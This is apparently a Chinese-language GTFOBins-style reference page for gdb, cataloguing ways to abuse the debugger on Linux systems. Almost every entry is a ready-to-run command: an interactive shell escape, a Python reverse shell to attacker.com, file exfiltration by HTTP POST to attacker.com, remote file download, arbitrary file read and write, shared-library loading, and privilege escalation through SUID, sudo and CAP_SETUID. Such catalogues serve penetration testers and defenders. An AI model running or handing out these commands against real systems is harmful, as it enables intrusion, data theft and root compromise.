.. / gdb

shell

用来生成一个交互式的系统shell。

• gdb -nx -ex '!sh' -ex quit

reverse-shell

向监听的端口发送反向shell，以打开远程网络访问。

• This requires that GDB is compiled with Python support. Run socat file:`tty`,raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

  export RHOST=attacker.com
  export RPORT=12345
  gdb -nx -ex 'python import sys,socket,os,pty;s=socket.socket()
  s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
  [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
  pty.spawn("/bin/sh")' -ex quit
  

file-upload

上传文件到外部。

• This requires that GDB is compiled with Python support. Send local file via "d" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.

  export URL=http://attacker.com/
  export LFILE=要发送的文件
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r, urllib.parse as u
  else: import urllib as u, urllib2 as r
  r.urlopen(e["URL"], bytes(u.urlencode({"d":open(e["LFILE"]).read()}).encode()))' -ex quit
  

  This requires that GDB is compiled with Python support. Serve files in the local folder running an HTTP server.

  export LPORT=8888
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import http.server as s, socketserver as ss
  else: import SimpleHTTPServer as s, SocketServer as ss
  ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' -ex quit
  

file-download

下载远程文件。

• This requires that GDB is compiled with Python support. Fetch a remote file via HTTP GET request.

  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  gdb -nx -ex 'python import sys; from os import environ as e
  if sys.version_info.major == 3: import urllib.request as r
  else: import urllib as r
  r.urlretrieve(e["URL"], e["LFILE"])' -ex quit
  

file-write

将数据写入文件中。

• This requires that GDB is compiled with Python support.

  LFILE=要写入的文件
  gdb -nx -ex "dump value $LFILE \"DATA\"" -ex quit
  

file-read

从文件中读取数据。

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python print(open("要读取的文件路径").read())' -ex quit

library-load

加载共享库，这些共享库可以被用来在二进制文件的执行上下文中运行代码。

• This requires that GDB is compiled with Python support.

  gdb -nx -ex 'python from ctypes import cdll; cdll.LoadLibrary("lib.so")' -ex quit

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• This requires that GDB is compiled with Python support.

  ./gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• sudo gdb -nx -ex '!sh' -ex quit

capabilities

如果二进制文件具有设置的 Linux CAP_SETUID 能力，或者由另一个具有该能力的二进制文件执行，它可以被用作后门，通过操纵自身的进程 UID 来维持特权访问。

• This requires that GDB is compiled with Python support.

  ./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit